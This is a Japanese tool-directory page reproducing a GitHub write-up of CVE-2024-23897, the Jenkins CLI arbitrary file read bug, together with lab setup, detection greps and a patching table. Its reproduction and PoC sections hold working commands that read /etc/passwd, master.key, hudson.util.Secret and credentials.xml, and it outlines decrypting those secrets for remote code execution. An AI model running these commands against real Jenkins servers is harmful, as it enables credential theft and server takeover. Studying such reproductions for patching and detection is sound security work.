Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2024-23897-jenkins_lfi_reproduction — cve-2024-23897-jenkins_lfi_reproduction の再現 | Kitploit
ツール/GitHubGitHub/razureink/cve-2024-23897-jenkins_lfi_reproduction
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubrazureink/cve-2024-23897-jenkins_lfi_reproduction

cve-2024-23897-jenkins_lfi_reproduction

cve-2024-23897-jenkins_lfi_reproduction の再現

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
27日前未レビュー

CVE-2024-23897 — Jenkins CLI 任意ファイル読み取りの脆弱性

CVSS 9.8 (CRITICAL) — 実環境で積極的に悪用されています


概要

CVE-2024-23897 は、Jenkins のコマンドラインインターフェース (CLI) における重大な任意ファイル読み取りの脆弱性です。Jenkins CLI はコマンド引数の解析に args4j ライブラリを使用しています。このライブラリは、@ 文字に続くファイルパス (@/path/to/file) を展開し、そのファイルの内容を読み取って引数として注入します。認証されていない攻撃者は、この動作を悪用して、認証を必要とせずに Jenkins コントローラのファイルシステム上の任意のファイルを読み取ることができます。

この脆弱性は、credentials.xml、secrets、master.key の抽出と組み合わせることで、サーバ全体の完全な侵害 (RCE) につながる可能性があります。


技術的詳細

args4j における @ 文字の展開

args4j ライブラリ (Jenkins の CLI コマンドパーサーで使用) には便利な機能があります。引数が @ で始まる場合、その引数の残りをファイルパスとして扱い、ファイルの内容を読み取って複数の引数に分割します。これは、ファイルを介して大きな引数リストを渡すことを目的としたものでした。

例: java -jar jenkins-cli.jar who-am-i @/etc/passwd を実行すると、args4j が /etc/passwd を読み取り、その内容を who-am-i コマンドの引数として使用します。

特定の CLI コマンド (例: connect-node) は引数の値をエラーメッセージや応答にエコーバックする、または含めるため、攻撃者は CLI の応答でファイルの内容を確認できます。

攻撃の流れ

  1. 攻撃者は Jenkins CLI ポート (デフォルト: 50000、または HTTP CLI エンドポイント) に接続します
  2. 攻撃者は @/etc/passwd のような引数を指定して CLI コマンドを送信します
  3. Jenkins の args4j パーサーがファイルを読み取り、引数に展開します
  4. CLI コマンドがその引数を処理し、応答またはエラーメッセージにファイルの内容が漏えいします
  5. 攻撃者は機密ファイルを抽出して権限を昇格させます

これが深刻である理由

  • 認証が不要 — CLI ポートは資格情報なしでアクセス可能
  • 前提条件なし — 特別な権限や Jenkins 機能の有効化は不要
  • 広範囲に影響 — 数万台の Jenkins インスタンスが露出
  • 権限昇格 — secrets/master.key の読み取りにより資格情報の復号と RCE が可能

影響を受けるバージョン

製品影響を受けるバージョン修正済みバージョン
Jenkins (weekly)≤ 2.4412.442
Jenkins LTS≤ 2.426.22.426.3
Jenkins LTS (previous)≤ 2.414.22.414.3

注記: 上記の修正より前のすべての Jenkins バージョンが影響を受けます。CLI 機能は Jenkins に長年存在しているため、明示的にリストされていない古いバージョンも影響を受けます。


再現手順

環境セットアップ

  1. Docker で脆弱性のある Jenkins インスタンスを実行します:

    root@kitploit:~
    docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk11
    

    コンテナのログから初期管理者パスワードを確認します。

  2. CLI ポートが開いていることを確認します:

    root@kitploit:~
    # Jenkins CLI port (TCP 50000) should be listening
    # Or you can use the HTTP CLI endpoint at /cli/
    
  3. 必要な依存関係とともに Python 3.8+ をインストールします:

    root@kitploit:~
    pip install requests
    

Python PoC による再現

root@kitploit:~
# Basic file read test — read /etc/passwd
python exploit.py --target http://localhost:8080 --file /etc/passwd

# Read Jenkins secrets (escalation path)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml

手動での再現手順 (jenkins-cli.jar を使用)

root@kitploit:~
# Download the Jenkins CLI jar
wget http://localhost:8080/jnlpJars/jenkins-cli.jar

# Read /etc/passwd via the CLI
java -jar jenkins-cli.jar -s http://localhost:8080 who-am-i @/etc/passwd 2>&1

# Read Jenkins secrets
java -jar jenkins-cli.jar -s http://localhost:8080 connect-node @/var/jenkins_home/secrets/master.key 2>&1

期待される出力

ファイルの内容が CLI の応答またはエラー出力に表示されます。たとえば、/etc/passwd を読み取ると、システムのパスワードファイルのエントリが返されます。


概念実証 (PoC) — 完全な悪用チェーン

ステップ 1: Jenkins 環境の列挙

root@kitploit:~
# Read config to understand the environment
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/config.xml

# Read users and permissions
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/users/users.xml

ステップ 2: RCE を目的としたシークレットの抽出

root@kitploit:~
# Extract master key (used to encrypt credentials)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key

# Extract the hudson.util.Secret key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/hudson.util.Secret

# Extract credentials (encrypted)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml

ステップ 3: 資格情報の復号と RCE の達成

master.key と hudson.util.Secret を使用すると、jenkins_decrypt.py や CVE-2024-23897 のリファレンスにある decrypt.py スクリプトなどのツールを使って Jenkins の資格情報を復号できます。復号された資格情報 (SSH キー、API トークン、クラウドプロバイダのキー) は、接続されたノードやクラウド環境でのリモートコード実行を達成するために使用できます。


緩和策

即時対応

検出

アクセスログまたは CLI 監査ログで、@ の後にファイルパスが続く引数を検索します:

root@kitploit:~
# grep for suspicious CLI access
grep -r "@/" /var/log/jenkins/access.log

# Check for CLI connections from unexpected IPs
grep "CLI" /var/log/jenkins/jenkins.log | grep -v "127.0.0.1"

回避策 (パッチを適用できない場合)

直ちにパッチを適用できない場合は、--webroot オプションを設定するかポート 50000 をブロックして CLI ポートを無効化します。ただし、Web UI 内の HTTP CLI エンドポイント (/cli/) は依然として悪用される可能性があるため、パッチの適用を強く推奨します。


参考文献

  • Jenkins セキュリティアドバイザリ 2024-01-24
  • NVD エントリ — CVE-2024-23897
  • NVD エントリ — CVE-2024-23898 (関連する CLI DoS)
  • args4j ライブラリの @file 展開ドキュメント
  • CISA 既知の悪用済み脆弱性カタログ

免責事項

このリポジトリは、許可されたセキュリティテストおよび教育目的のみを対象としています。この脆弱性の許可のない悪用は違法です。著者は、この情報の不正使用について一切責任を負いません。自分が所有するシステム、または明示的な書面によるテスト許可を得たシステムでのみテストしてください。

ツールをダウンロード
アクション詳細
Jenkins を更新するJenkins 2.442+ または LTS 2.426.3+ / 2.414.3+ にアップグレードします
CLI ポートを無効化する不要な場合はファイアウォールで TCP ポート 50000 をブロックします
ネットワークアクセスを制限するJenkins CLI ポートへのアクセスを信頼できるネットワークのみに制限します
認証を有効にするJenkins がすべてのアクセスに認証を要求するようにします
ログを監視するアクセスログで @ 引数を含む CLI コマンドを探します